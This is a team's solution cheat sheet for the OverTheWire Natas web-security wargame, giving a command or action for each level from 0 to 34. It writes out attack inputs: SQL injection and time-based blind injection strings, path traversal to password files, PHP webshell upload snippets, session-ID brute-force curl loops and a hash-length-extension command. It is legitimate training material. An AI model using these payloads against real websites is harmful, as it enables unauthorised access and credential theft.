

Team Name: HackHunters

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Commands: Natas

Level 0 → Level 1

- **Command/Action:**
View Page Source (Ctrl+U)
 - **Logic:**
Password hidden inside an HTML comment.
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Level 1 → Level 2

- **Command/Action:**
Use basic authentication popup.
View page source, find a base64 password.
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Level 2 → Level 3

- **Command/Action:**
Find and manually browse the /files/ directory.
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Level 3 → Level 4

- **Command/Action:**
Inspect hidden elements.
Browse manually to /s3cr3t/ directory.
-

Level 4 → Level 5

- **Command/Action:**
Modify HTTP Referer Header (via Burp Suite or browser extension like ModHeader).
- **Example:**

Referer: <http://natas4.natas.labs.overthewire.org/>

Level 5 → Level 6

- **Command/Action:**
Modify Cookie:
Set loggedin=1 manually in DevTools or Burp Suite.

Level 6 → Level 7

- **Command/Action:**
URL manipulation:
Change page=doesnotexist to page=home or use directory traversal (../).

Level 7 → Level 8

- **Command/Action:**
URL Parameter Injection:
Set page=../../../../../../etc/natas_webpass/natas8

Level 8 → Level 9

- **Command/Action: Decode the encoded secret:**
echo "3d3d516343746d4d6d6c315669563362" | xxd -r -p | rev |
base64 -d

Level 9 → Level 10

- **Command/Action: Use SQL Injection in search form:**
a' OR 1=1 --

Level 10 → Level 11

- **Command/Action: Bypass input sanitization:**
a" OR 1=1 --
-

Level 11 → Level 12

- **Command/Action:** Decrypt/Encrypt Cookies with XOR cipher. Use CyberChef or Python:

`key = 'KNHL'`

`cipher = 'base64_cookie_value'`

Level 12 → Level 13

- **Command/Action:** Upload a PHP webshell disguised as a .jpg:

`<?php`

`echo file_get_contents("/etc/natas_webpass/natas13"); ?>`

Level 13 → Level 14

- **Command/Action:** Upload .php disguised with magic bytes. Create file starting with:

`GIF89a <?php`

`file_get_contents('/etc/natas_webpass/natas14');`

`?>`

Level 14 → Level 15

- **Command/Action:** Perform SQL Injection on login form:

`username: natas14" OR "1"="1`

`password: anything`

Level 15 → Level 16

- **Command/Action:** Blind SQL Injection using time delays:

`natas16" AND IF(password LIKE "a%", SLEEP(5), 0) --`

Level 16 → Level 17

- **Command/Action: Blind SQL Injection + timing attack.**

Script example:

```
for c in {a..z}; do curl -u natas16:password  
'http://natas16.natas.labs.overthewire.org/?needle='$c'%25' --  
silent | grep -q 'respective string'; done
```

Level 17 → Level 18

- **Command/Action: Brute-force Session IDs by guessing:**

```
for i in {1..640}; do curl -b "PHPSESSID=$i"  
http://natas18.natas.labs.overthewire.org/; done
```

Level 18 → Level 19

- **Command/Action: Notice SessionID format changes (hexadecimal). Brute-force:**

```
for id in $(seq -w 0 640); do curl -b "PHPSESSID=$id"  
http://natas19.natas.labs.overthewire.org/; done
```

Level 19 → Level 20

- **Command/Action: Analyze sessions: Manipulate your PHPSESSID to impersonate an admin.**
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Level 20 → Level 21

- **Command/Action: Forge POST request after setting a custom session (two different domains). Burp Suite is handy here.**
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Level 21 → Level 22

- **Command/Action: Intercept redirects manually. Use:**

```
curl -L -v -u natas21:password
```

<http://natas21-experimenter.natas.labs.overthewire.org>

Level 22 → Level 23

- **Command/Action:** Bypass "no redirect" with URL crafting:
`/?revelio=1`
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Level 23 → Level 24

- **Command/Action:** Upload a .php file into user profile and access it.
-

Level 24 → Level 25

- **Command/Action:** Exploit path traversal to include:
`../../../../etc/natas_webpass/natas25`
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Level 25 → Level 26

- **Command/Action:** Log poisoning: Inject PHP code into HTTP headers (e.g., User-Agent), then include server logs.
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Level 26 → Level 27

- **Command/Action:** Unsafe unserialize() vulnerability. Craft malicious serialized payloads.
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Level 27 → Level 28

- **Command/Action:** Bypass username validation by manipulating input (newlines %0a injection).
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Level 28 → Level 29

- **Command/Action:** Exploit HMAC signature miscalculation (hash length extension attack). Use a tool like hash_extender.
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Level 29 → Level 30

- **Command/Action:** Use hash_extender again for forgery:
 - `hash_extender --data="&admin=1" --secret=16 --signature=[oldhash] --append="&admin=1" --format=sha256`
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Level 30 → Level 31

- **Command/Action:** Server-Side Request Forgery (SSRF). Trick server to make internal requests.
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Level 31 → Level 32

- **Command/Action:** Local File Inclusion (LFI) inside the SSRF payload.
-

Level 32 → Level 33

- **Command/Action:** Exploit upload vulnerabilities. Upload a PHP file that reads:

`<?php echo file_get_content ("/etc/natas_webpass /natas34"); ?>`

Level 33 → Level 34

- **Command/Action:** Cookie manipulation / Server-Side Template Injection (SSTI) depending on server behavior.